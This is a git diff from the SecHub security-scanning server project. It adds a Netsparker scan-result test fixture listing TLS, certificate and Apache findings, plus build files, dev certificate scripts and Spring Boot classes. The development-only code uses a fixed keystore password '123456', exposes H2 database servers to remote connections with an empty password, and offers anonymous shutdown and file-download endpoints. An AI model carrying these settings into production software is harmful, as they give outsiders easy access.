    ", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + } + ] +} \ No newline at end of file diff --git a/sechub-sereco/src/test/resources/netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml b/sechub-sereco/src/test/resources/netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml new file mode 100644 index 0000000000..efaf8a42ff --- /dev/null +++ b/sechub-sereco/src/test/resources/netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml @@ -0,0 +1,393 @@ + + + + 93cc5894f38546f45f7aa8860366c07e + https://fscan.intranet.example.org/ + 13/02/2018 15:51 + 00:30:10.8284631 + + + + https://fscan.intranet.example.org/ + ApacheVersionDisclosure + Version Disclosure (Apache) + Low + 90 + False + Present + + + 45 + 205 + 170 + + + 164.306(a), 164.308(a) + + + + + + GET + + + + 200 + 62.4938 + + + + File-Scan Service + + + + + + + + + + + + +






    +
    +


    1) Drop a file here or click to select.

    + +


    + + +
    2) Enter the code: +
    + [ Different Image ]


    +
    CAPTCHA Image

    + +

    +


    + Quickly check a file for malicious activity or suspicious content.
    Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
    Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
    +
    + +]]>
    +
    + + + + + Netsparker Cloud identified a version disclosure (Apache) in the target web server's HTTP response.

    This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

    ]]>
    + An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.]]> + + + Configure your web server to prevent information leakage from the SERVER header of its HTTP response.]]> + ]]> + + +
    + + https://fscan.intranet.example.org/ + ApacheOutOfDate + Out-of-date Version (Apache) + Medium + 90 + False + Present + + A9 + + + 310 + 6.2 + 6.2 + + C1 + + + + + GET + + + + 200 + 62.4938 + + + + File-Scan Service + + + + + + + + + + + + +






    +
    +


    1) Drop a file here or click to select.

    + +


    + + +
    2) Enter the code: +
    + [ Different Image ]


    +
    CAPTCHA Image

    + +

    +


    + Quickly check a file for malicious activity or suspicious content.
    Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
    Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
    +
    + +]]>
    +
    + + + + + + + + + Apache Denial of Service Vulnerability + Medium + + + Apache Restriction Bypass Vulnerability + Medium + + + Apache Restriction Bypass Vulnerability + Medium + + + Netsparker Cloud identified you are using an out-of-date version of Apache.

    ]]>
    + Since this is an old version of the software, it may be vulnerable to attacks.]]> + + +

    Please upgrade your installation of Apache to the latest stable version.

    ]]>
    + ]]> + + +
    + + https://fscan.intranet.example.org/ + WeakSignatureAlgorithmDetected + Certificate is Signed Using a Weak Signature Algorithm + High + 100 + True + Present + + A6 + 4 + + 459 + 6.5.4 + 6.5.4 + + C7 + + + + + GET + + + + 200 + 1 + + + + + + + Netsparker Cloud detected that a certificate is signed using a weak signature algorithm.

    The weak signature algorithm is known to be cryptographically weak and vulnerable to collision attacks.

    ]]>
    + Attackers can observe the encrypted traffic between your website and its visitors by leveraging the use of this vulnerability.]]> + + + You'll need to generate a new certificate request, and get your CA to issue you a new certificate using SHA-2.]]> + + ]]> + +
    + + https://fscan.intranet.example.org/ + TlsVersion1Support + Insecure Transportation Security Protocol Supported (TLS 1.0) + Low + 100 + True + Present + + A6 + 4 + 327 + 217 + 6.5.4 + 6.5.4 + + + + + + + GET + + + + 200 + 1 + + + + Netsparker Cloud detected that insecure transportation security protocol (TLS 1.0) is supported by your web server.

    TLS 1.0 has several flaws. An attacker can cause connection failures and they can trigger the use of TLS 1.0 to exploit vulnerabilities like BEAST (Browser Exploit Against SSL/TLS).

    Websites using TLS 1.0 will be considered non-compliant by PCI after 30 June 2018.

    ]]>
    + Attackers can perform man-in-the-middle attacks and observe the encryption traffic between your website and its visitors.]]> + + +

    Configure your web server to disallow using weak ciphers. You need to restart the web server to enable changes.

    • For Apache, adjust the SSLProtocol directive provided by the mod_ssl module. This directive can be set either at the server level or in a virtual host configuration.
      SSLProtocol +TLSv1.1 +TLSv1.2
      +
    • For Nginx, locate any use of the directive ssl_protocols in the nginx.conf file and remove TLSv1.
      ssl_protocols TLSv1.1 TLSv1.2;
      +
    • For Microsoft IIS, you should make some changes on the system registry.
      1. Click on Start and then Run, type regedt32 or regedit, and then click OK.
      2. In Registry Editor, locate the following registry key or create if it does not exist:
        HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\
        +
      3. Locate a key named Server or create if it doesn't exist.
      4. Under the Server key, locate a DWORD value named Enabled or create if it doesn't exist and set its value to "0".
    ]]>
    + + ]]> + +
    +
    +
    \ No newline at end of file diff --git a/sechub-server/.dockerignore b/sechub-server/.dockerignore new file mode 100644 index 0000000000..174a74a7f4 --- /dev/null +++ b/sechub-server/.dockerignore @@ -0,0 +1,6 @@ +# ignore all +* +# upload server jar +!build/libs/sechub-server*.jar +!build/resources/main/run.sh +!build/tmp/docker \ No newline at end of file diff --git a/sechub-server/.gitignore b/sechub-server/.gitignore new file mode 100644 index 0000000000..bb48f0290a --- /dev/null +++ b/sechub-server/.gitignore @@ -0,0 +1,2 @@ +# Dockerfile is generated by myke +*Dockerfile \ No newline at end of file diff --git a/sechub-server/build.gradle b/sechub-server/build.gradle new file mode 100644 index 0000000000..aa6a33c6b4 --- /dev/null +++ b/sechub-server/build.gradle @@ -0,0 +1,126 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile(library.springboot_starter_batch) + compile(library.flyway) + + compile project(':sechub-shared-kernel') + compile project(':sechub-schedule') + compile project(':sechub-authorization') + compile project(':sechub-administration') + compile project(':sechub-notification') + compile project(':sechub-scan-product-netsparker') + compile project(':sechub-scan-product-nessus') + compile project(':sechub-scan-product-sereco') + compile project(':sechub-scan-product-checkmarx') + compile project(':sechub-sereco') + + testCompile group: 'org.hsqldb', name: 'hsqldb', version: '2.4.0' + testCompile project(':sechub-testframework') +} + +task assembleArtifact(type: Zip, group: 'sechub') { + archiveName "sechub-server-documentation-${project.version}.zip" + archiveClassifier.set('documentation') + destinationDir file("$buildDir/zip/") + from "${projectDir}/build/go/" + from "${rootProject.projectDir}/sechub-doc/build/asciidoc" + exclude '**/sechub-client.*' + exclude '**/.asciidoctor/**' + description "Assemble archive $archiveName into ${relativePath(destinationDir)}" +} + +/** + * For integration tests, local develoment etc. we need a generated, private key + * which is different for each developer, not accidently committed to git, also + * valid on builds etc. + * + * This is done by dev-create_localhost_certificate.sh - for details refer to bash script + */ +task ensureLocalhostCertificate(type: Exec) { + group 'sechub' + description 'Calling this task, will ensure a localhost certificate exists. This is necessary for development and integration tests' + + workingDir "${projectDir}" + + if (OSUtil.isWindows()){ + commandLine 'cmd', '/c', 'bash', "${projectDir}/dev-create_localhost_certificate.sh" + }else{ + commandLine "${projectDir}/dev-create_localhost_certificate.sh" + } +} + +/* make eclipse task depend on ensured local certificate*/ +tasks.eclipse.dependsOn 'ensureLocalhostCertificate' + +/** + * We currently publish only the server java spring boot jar, so having complete server on maven repository - documentation can be found inside sechub-doc + */ +apply plugin: 'maven-publish' + +version = VersionData.getServerVersion() + +publishing { + publications { + mavenJava(MavenPublication) { + + from components.java + + pom { + name = 'SecHub Server' + description = 'SecHub Server as a sprint boot jar. Ready to use.' + + scm { + url = 'https://github.com/daimler/sechub' + } + + licenses { + license { + name = 'MIT License' + url = 'https://github.com/daimler/sechub/blob/master/LICENSE' + } + } + } + } + mavenJava(MavenPublication) { + + artifact source: assembleArtifact, extension: 'zip' + + pom { + name = 'SecHub Server documentation' + description = 'SecHub Server documentation as single zip file.' + + scm { + url = 'https://github.com/daimler/sechub' + } + + licenses { + license { + name = 'MIT License' + url = 'https://github.com/daimler/sechub/blob/master/LICENSE' + } + } + } + } + } + + repositories { + maven { + url = project.hasProperty("mavenTargetRepoUrl") ? project.properties['mavenTargetRepoUrl'] : System.getProperty("user.home")+"/.m2/repository" + + if (project.hasProperty("mavenRepoUserName") && project.hasProperty("mavenRepoPassword")) { + credentials(PasswordCredentials) { + username project.properties['mavenRepoUserName'] + password project.properties['mavenRepoPassword'] + } + } + } + } +} + diff --git a/sechub-server/dev-base.sh b/sechub-server/dev-base.sh new file mode 100644 index 0000000000..f151046f04 --- /dev/null +++ b/sechub-server/dev-base.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +# For integration tests, local develoment etc. we need a generated, private key +# which is different for each developer, not accidently committed to git, also +# valid on builds etc. +# +# We support this by having a fixed target file path to a folder which is not tracked +# by git (except the README.md there). So even generated private keys are not accidently added +# to git... + +DEV_CERT_PATH="$(pwd)/src/main/resources/certificates-untracked" +DEV_CERT_FILE="$DEV_CERT_PATH/generated-dev-localhost-keystore.p12" + + +function createLocalhostCertifcate(){ + + # + # PRECONDITION: We assume a JDK is installed and so keytool is accessible! + # + # see https://stackoverflow.com/questions/13578134/how-to-automate-keystore-generation-using-the-java-keystore-tool-w-o-user-inter + echo "Start creating localhost certificate" + keytool -genkey -alias tomcat -storetype PKCS12 -keyalg RSA -keysize 2048 -keystore $DEV_CERT_FILE -validity 3650 -storepass 123456 --dname "CN=localhost, OU=ID" + echo "Created file $DEV_CERT_FILE" + +} + diff --git a/sechub-server/dev-create_localhost_certificate.sh b/sechub-server/dev-create_localhost_certificate.sh new file mode 100755 index 0000000000..cbb5f661f9 --- /dev/null +++ b/sechub-server/dev-create_localhost_certificate.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +source dev-base.sh + +if [ -f "$DEV_CERT_FILE" ]; then + rm $DEV_CERT_FILE +fi +createLocalhostCertifcate \ No newline at end of file diff --git a/sechub-server/dev-ensure_localhost_certificate.sh b/sechub-server/dev-ensure_localhost_certificate.sh new file mode 100755 index 0000000000..1ea51b1182 --- /dev/null +++ b/sechub-server/dev-ensure_localhost_certificate.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +source dev-base.sh + +if [ -f "$DEV_CERT_FILE" ]; then + exit 0 +fi +createLocalhostCertifcate \ No newline at end of file diff --git a/sechub-server/kubernetes/.gitignore b/sechub-server/kubernetes/.gitignore new file mode 100644 index 0000000000..a55d5334e1 --- /dev/null +++ b/sechub-server/kubernetes/.gitignore @@ -0,0 +1 @@ +!gen/ \ No newline at end of file diff --git a/sechub-server/kubernetes/gen/.gitignore b/sechub-server/kubernetes/gen/.gitignore new file mode 100644 index 0000000000..02c52c7b0b --- /dev/null +++ b/sechub-server/kubernetes/gen/.gitignore @@ -0,0 +1,3 @@ +* +!README.md +!.gitignore \ No newline at end of file diff --git a/sechub-server/kubernetes/gen/README.md b/sechub-server/kubernetes/gen/README.md new file mode 100644 index 0000000000..26c113d85d --- /dev/null +++ b/sechub-server/kubernetes/gen/README.md @@ -0,0 +1,3 @@ + +Inside this folder the generated deploy files will be found. +This are only files usable for updating real templates in $root/kubernetes/kubegen template parts! \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/SecHubServerApplication.java b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerApplication.java new file mode 100644 index 0000000000..92e4f9c4e1 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerApplication.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.data.rest.RepositoryRestMvcAutoConfiguration; + +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; + +/** + * At the moment this is the ONLY spring boot application used for sechub. So we + * have internal communication between domains and have to deploy only ONE + * application. In future there can be made a seperation into different + * springapplications to become more "microservice" like.
    + *
    + * When doing separtion we need to change the behaviour / implementation of + * {@link DomainMessageService} + * + * @author Albert Tregnaghi + * + */ +@SpringBootApplication(exclude = RepositoryRestMvcAutoConfiguration.class) // we do not want to have automatic resources in HAL & co +public class SecHubServerApplication { + + public static void main(String[] args) { + SpringApplication.run(SecHubServerApplication.class, args); + } + +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/SecHubServerEncryptionConfiguration.java b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerEncryptionConfiguration.java new file mode 100644 index 0000000000..4d4f831ba6 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerEncryptionConfiguration.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.crypto.factory.PasswordEncoderFactories; +import org.springframework.security.crypto.password.PasswordEncoder; + +@Configuration +public class SecHubServerEncryptionConfiguration { + + @Bean + public PasswordEncoder passwordEncoder() { + return PasswordEncoderFactories.createDelegatingPasswordEncoder(); + } + +} \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/SecHubServerEnvironment.java b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerEnvironment.java new file mode 100644 index 0000000000..51f6ec9fff --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerEnvironment.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@Component +public class SecHubServerEnvironment { + + + @Value("${sechub.server.baseurl}") + @MustBeDocumented(value="Base url for sechub server - e.g. https://sechub.example.org") + String baseUrl; + + public String getBaseUrl() { + return baseUrl; + } + +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/SecHubServerThreadConfiguration.java b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerThreadConfiguration.java new file mode 100644 index 0000000000..9e260499e3 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/SecHubServerThreadConfiguration.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.core.task.TaskExecutor; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +@Configuration +public class SecHubServerThreadConfiguration { + + @Bean + @Primary + public TaskExecutor threadPoolTaskExecutor() { + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setCorePoolSize(4); + executor.setMaxPoolSize(4); + executor.setThreadNamePrefix("default_task_executor_thread"); + executor.initialize(); + return executor; + } + +} \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/AnonymousInfoRestController.java b/sechub-server/src/main/java/com/daimler/sechub/server/AnonymousInfoRestController.java new file mode 100644 index 0000000000..2c02234eaf --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/AnonymousInfoRestController.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.sharedkernel.APIConstants; + +@RestController +public class AnonymousInfoRestController { + + @Autowired + private InfoService serverInfoService; + + @RequestMapping(path = APIConstants.API_ANONYMOUS + "info/version", method = RequestMethod.GET, produces = { MediaType.TEXT_PLAIN_VALUE }) + @ResponseBody + public String getServerVersion() { + return serverInfoService.getVersionAsString(); + } + +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/DemoModeTestDataInitializer.java b/sechub-server/src/main/java/com/daimler/sechub/server/DemoModeTestDataInitializer.java new file mode 100644 index 0000000000..33bca73849 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/DemoModeTestDataInitializer.java @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; + +import java.net.URI; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.CommandLineRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Profile; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.schedule.access.ScheduleAccess; +import com.daimler.sechub.domain.schedule.access.ScheduleAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.domain.schedule.access.ScheduleAccessRepository; +import com.daimler.sechub.domain.schedule.whitelist.ProjectWhitelistEntry; +import com.daimler.sechub.domain.schedule.whitelist.ProjectWhitelistEntry.ProjectWhiteListEntryCompositeKey; +import com.daimler.sechub.domain.schedule.whitelist.ProjectWhitelistEntryRepository; +import com.daimler.sechub.sharedkernel.Profiles; + +@Component +@Profile(Profiles.DEMOMODE) +public class DemoModeTestDataInitializer { + + private static final Logger LOG = LoggerFactory.getLogger(DemoModeTestDataInitializer.class); + + @Bean + public CommandLineRunner createDemoAccess(ScheduleAccessRepository repository) { + return args -> { + // only as long as we do not have a real user and project management... + String projectId = "testproject"; + createAccess(repository, projectId, "alice"); + createAccess(repository, projectId, "developer"); + }; + } + + @Bean + public CommandLineRunner createDemoWhitelisting(ProjectWhitelistEntryRepository repository) { + return args -> { + // only as long as we do not have a real user and project management... + String projectId = "testproject"; + createWhiteListEntry(repository, projectId, URI.create("https://vulnerable.demo.example.org")); + createWhiteListEntry(repository, projectId, URI.create("https://safe.demo.example.org")); + }; + } + + private void createWhiteListEntry(ProjectWhitelistEntryRepository repository, String projectId, URI uri) { + + ProjectWhiteListEntryCompositeKey key = new ProjectWhiteListEntryCompositeKey(projectId, uri); + repository.save( new ProjectWhitelistEntry(key)); + } + + private void createAccess(ScheduleAccessRepository repository, String projectId, String userId) { + ProjectAccessCompositeKey key = new ProjectAccessCompositeKey(userId, projectId); + Optional project = repository.findById(key); + if (project.isPresent()) { + // setup done + return; + } + repository.save(new ScheduleAccess(key)); + LOG.info("No access found for {} to {} so created!",userId,projectId); + } + + +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/H2ServerConfiguration.java b/sechub-server/src/main/java/com/daimler/sechub/server/H2ServerConfiguration.java new file mode 100644 index 0000000000..0e58c9bc78 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/H2ServerConfiguration.java @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; + +import java.sql.SQLException; + +import org.h2.tools.Server; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Profile; + +import com.daimler.sechub.sharedkernel.Profiles; + +/** + * Special configuration for H2 testing.
    + *
    + * Only available for H2 profile usage. Also developers must enable the dedicated variant (TCP connection or web server variant). + * Can be done by setting system properties: either "h2.web.enabled" or "h2.tcp.enabled" + * @author Albert Tregnaghi + * + */ +@Configuration +@Profile(Profiles.H2) +public class H2ServerConfiguration { + + // TCP port for remote connections, default 9092 + @Value("${h2.tcp.port:9092}") + private String h2TcpPort; + + // Web port, default 8082 + @Value("${h2.web.port:8082}") + private String h2WebPort; + + /** + * TCP connection to connect with SQL clients to the embedded h2 database. + * + * Connect to "jdbc:h2:tcp://localhost:9092/mem:db", userid "sa", password + * empty. Connect to "jdbc:h2:tcp://localhost:9092/mem:testdb", userid "sa", + * password empty. + */ + @Bean + @ConditionalOnExpression("${h2.tcp.enabled:false}") + public Server h2TcpServer() throws SQLException { + return Server.createTcpServer("-tcp", "-tcpAllowOthers", "-tcpPort", h2TcpPort).start(); + } + + /** + * Web console for the embedded h2 database. + * + * Go to http://localhost:8082 and connect to the database "jdbc:h2:mem:db", + * userid "sa", password empty. Go to http://localhost:8082 and connect to the + * database "jdbc:h2:mem:testdb", userid "sa", password empty. + */ + @Bean + @ConditionalOnExpression("${h2.web.enabled:false}") + public Server h2WebServer() throws SQLException { + return Server.createWebServer("-web", "-webAllowOthers", "-webPort", h2WebPort).start(); + } + +} \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/InfoService.java b/sechub-server/src/main/java/com/daimler/sechub/server/InfoService.java new file mode 100644 index 0000000000..f2abf873b8 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/InfoService.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; + +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Properties; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.info.BuildProperties; +import org.springframework.stereotype.Service; + +@Service +public class InfoService { + + @Autowired(required = false) + BuildProperties buildProperties; + + /** + * @return version as string, always like "major.minor.hotfix{additional chars}" + * - e.g. "1.0.0" or "0.6.0-alpha" + */ + public String getVersionAsString() { + if (buildProperties == null) { + /* + * means we got no injection by ProjectInfoAutoConfiguration - means we are not + * inside a build jar - so using fallback properties + */ + buildProperties = buildFallbackProperties(); + } + return buildProperties.getVersion(); + } + + public BuildProperties buildFallbackProperties() { + + Properties properties = new Properties(); + properties.put("version", "0.0.0-development"); + properties.put("name", "sechub-server[development]"); + properties.put("time", SimpleDateFormat.getDateTimeInstance().format(new Date())); + + return new BuildProperties(properties); + } +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/IntegrationTestServerRestController.java b/sechub-server/src/main/java/com/daimler/sechub/server/IntegrationTestServerRestController.java new file mode 100644 index 0000000000..03ef44abf9 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/IntegrationTestServerRestController.java @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.UUID; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.ConfigurableApplicationContext; +import org.springframework.context.annotation.Profile; +import org.springframework.core.io.ByteArrayResource; +import org.springframework.core.io.Resource; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.sharedkernel.APIConstants; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.storage.JobStorage; +import com.daimler.sechub.sharedkernel.storage.StorageService; +import com.daimler.sechub.sharedkernel.validation.ProjectIdValidation; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +/** + * Contains additional rest call functionality for integration test server + * + * @author Albert Tregnaghi + * + */ +@RestController +@Profile(Profiles.INTEGRATIONTEST) +public class IntegrationTestServerRestController { + + private static final Logger LOG = LoggerFactory.getLogger(IntegrationTestServerRestController.class); + + @Autowired + private ConfigurableApplicationContext context; + + @Autowired + private StorageService storageService; + + @Autowired + private UserContextService userContextService; + + @Autowired + private ProjectIdValidation projectIdValidation; + + @RequestMapping(path = APIConstants.API_ANONYMOUS + "integrationtest/alive", method = RequestMethod.GET, produces = { MediaType.APPLICATION_JSON_UTF8_VALUE, + MediaType.APPLICATION_JSON_VALUE }) + public void isAlive() { + LOG.info("Integration test server check for alive called..."); + } + + @RequestMapping(path = APIConstants.API_ANONYMOUS + "integrationtest/shutdown", method = RequestMethod.GET, produces = { + MediaType.APPLICATION_JSON_UTF8_VALUE, MediaType.APPLICATION_JSON_VALUE }) + public void shutdownServer() { + LOG.info("Integration test server shutdown initiated by closing context..."); + context.close(); + } + + @RolesAllowed(RoleConstants.ROLE_USER) + @RequestMapping(path = APIConstants.API_USER + "integrationtest/check/role/user", method = RequestMethod.GET, produces = { + MediaType.APPLICATION_JSON_UTF8_VALUE, MediaType.APPLICATION_JSON_VALUE }) + public void checkRoleUser() { + LOG.info("Integration test server says user '{}' has allowed role '{}' - all authorities: '{}'",userContextService.getUserId(),RoleConstants.ROLE_USER,userContextService.getAuthories()); + } + + @RolesAllowed(RoleConstants.ROLE_OWNER) + @RequestMapping(path = APIConstants.API_USER + "integrationtest/check/role/owner", method = RequestMethod.GET, produces = { + MediaType.APPLICATION_JSON_UTF8_VALUE, MediaType.APPLICATION_JSON_VALUE }) + public void checkRoleOwner() { + LOG.info("Integration test server says user '{}' has allowed role '{}' - all authorities: '{}'",userContextService.getUserId(),RoleConstants.ROLE_OWNER,userContextService.getAuthories()); + } + + + @RequestMapping(path = APIConstants.API_ANONYMOUS + "integrationtest/{projectId}/{jobUUID}/uploaded/{fileName}", method = RequestMethod.GET) + public ResponseEntity getUploadedFile(@PathVariable("projectId") String projectId, @PathVariable("jobUUID") UUID jobUUID, + @PathVariable("fileName") String fileName) throws IOException { + + ValidationResult projectIdValidationResult = projectIdValidation.validate(projectId); + if(! projectIdValidationResult.isValid()) { + LOG.warn("Called with illegal projectId '{}',projectId"); + return ResponseEntity.notFound().build(); + } + + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + if (!storage.isExisting(fileName)) { + throw new NotFoundException("file not uploaded:" + fileName); + } + String absolutePath = storage.getAbsolutePath(fileName); + File file = new File(absolutePath); + + HttpHeaders headers = new HttpHeaders(); + headers.add("Cache-Control", "no-cache, no-store, must-revalidate"); + headers.add("Pragma", "no-cache"); + headers.add("Expires", "0"); + + /* @formatter:off */ + Path path = Paths.get(file.getAbsolutePath()); + ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path)); + return ResponseEntity.ok() + .headers(headers) + .contentLength(file.length()) + .contentType(MediaType.parseMediaType("application/octet-stream")) + .body(resource); + /* @formatter:on */ + } + +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/ServerError.java b/sechub-server/src/main/java/com/daimler/sechub/server/ServerError.java new file mode 100644 index 0000000000..cf47147a6b --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/ServerError.java @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.springframework.validation.FieldError; + +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonInclude.Include; + +@JsonInclude(Include.NON_NULL) // if trace is null we don't show it... so when not in debug mode nobody knows there can be a stacktrace... +@JsonAutoDetect(fieldVisibility = Visibility.ANY, getterVisibility = Visibility.NONE, setterVisibility = Visibility.NONE) +@JsonIgnoreProperties(ignoreUnknown = true) +public class ServerError implements JSONable{ + Integer status; + String error; + + String message; + List details; + String timeStamp; + String trace; + + public ServerError(int status, Map errorAttributes) { + this.status = status; + this.error = (String) errorAttributes.get("error"); + this.message = (String) errorAttributes.get("message"); + + @SuppressWarnings("unchecked") + List list = (List) errorAttributes.getOrDefault("errors", new ArrayList<>()); + this.details=new ArrayList<>(); + for (FieldError fieldError: list) { + StringBuilder sb = new StringBuilder(); + sb.append("Field '").append(fieldError.getField()); + sb.append("' with value '"+fieldError.getRejectedValue()); + sb.append("' was rejected. "+fieldError.getDefaultMessage()); + details.add(sb.toString()); + } + this.timeStamp = errorAttributes.get("timestamp").toString(); + this.trace = (String) errorAttributes.get("trace"); + } + + @Override + public Class getJSONTargetClass() { + return ServerError.class; + } + +} \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/ServerErrorController.java b/sechub-server/src/main/java/com/daimler/sechub/server/ServerErrorController.java new file mode 100644 index 0000000000..763cdf69af --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/ServerErrorController.java @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server; +import java.util.Map; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.web.servlet.error.ErrorAttributes; +import org.springframework.boot.web.servlet.error.ErrorController; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.context.request.ServletWebRequest; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@RestController +public class ServerErrorController implements ErrorController { + + + private static final String PATH = "/error"; // NOSONAR + + @MustBeDocumented("When debug flag is set, rest call reponse error messages do also contains stacktraces.") + @Value("${sechub.server.debug:false}") + private boolean debug; + + @Autowired + private ErrorAttributes errorAttributes; + + @RequestMapping(value = PATH) + ResponseEntity error(HttpServletRequest request, HttpServletResponse response){ + return ResponseEntity.status(response.getStatus()) + .body( + new ServerError(response.getStatus(), getErrorAttributes(request, debug) + ) + ); + } + + + @Override + public String getErrorPath() { + return PATH; + } + + private Map getErrorAttributes(HttpServletRequest request, boolean includeStackTrace) { + ServletWebRequest webRequest = new ServletWebRequest(request); + return errorAttributes.getErrorAttributes(webRequest, includeStackTrace); + } + +} \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/security/DemomodeSecHubSecurityConfiguration.java b/sechub-server/src/main/java/com/daimler/sechub/server/security/DemomodeSecHubSecurityConfiguration.java new file mode 100644 index 